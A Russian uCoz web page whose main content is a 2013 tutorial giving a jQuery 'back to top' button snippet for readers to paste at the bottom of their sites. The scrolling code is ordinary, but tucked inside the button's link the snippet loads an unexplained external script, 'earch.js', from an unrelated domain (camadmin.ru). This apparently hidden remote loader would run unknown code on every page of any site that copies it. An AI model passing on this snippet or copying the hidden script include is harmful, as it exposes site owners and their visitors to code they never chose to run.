Кнопка "Вверх" для сайта, блога или форума - 3 Марта 2013

Меню сайта

Опрос сайта

Ваш антивирус ?

1. Kaspersky Internet Security

2. Nod32

3. Avast

4. Вообще им не пользуюсь

5. Антивирус Касперского

6. Dr.Web

7. Norton Internet Security

8. Norton 360

9. Avira

10. Другой

Всего ответов: 7

Тест скорости

Мини-чат

Социальные Сети

Статистика сайта

Зарегистрировано на сайте

Всего - 107

Новых за месяц -

Новых за неделю -

Новых вчера -

Новых сегодня -

Онлайн всего: 1

Гостей: 1

Пользователей: 0

Кнопка "Вверх" для сайта, блога или форума

Сегодня я расскажу как вставить скрипт кнопка “Вверх” на сайт ucoz или блок. Эта кнопка будет очень полезна для Ваших сайтов, блогов или форумов с длинными страницами. Данный скрипт не нагружает сайт или блог и достаточно эффективен.
В самый низ страницы, перед /body :

Код

<script type="text/javascript">
$(document).ready(function(){


  $("#back-top").hide();

  $(function () {
  $(window).scroll(function () {

  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();



  } else {
  $('#back-top').fadeOut();

  }


  });


  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/ups.png" onmouseover="this.src='http://bambun.ru/images/up1.png'" onmouseout="this.src='http://bambun.ru/images/ups.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>

Автор: startsmart

Скачать

Жалоба

Просмотров: 306 | Комментариев: 0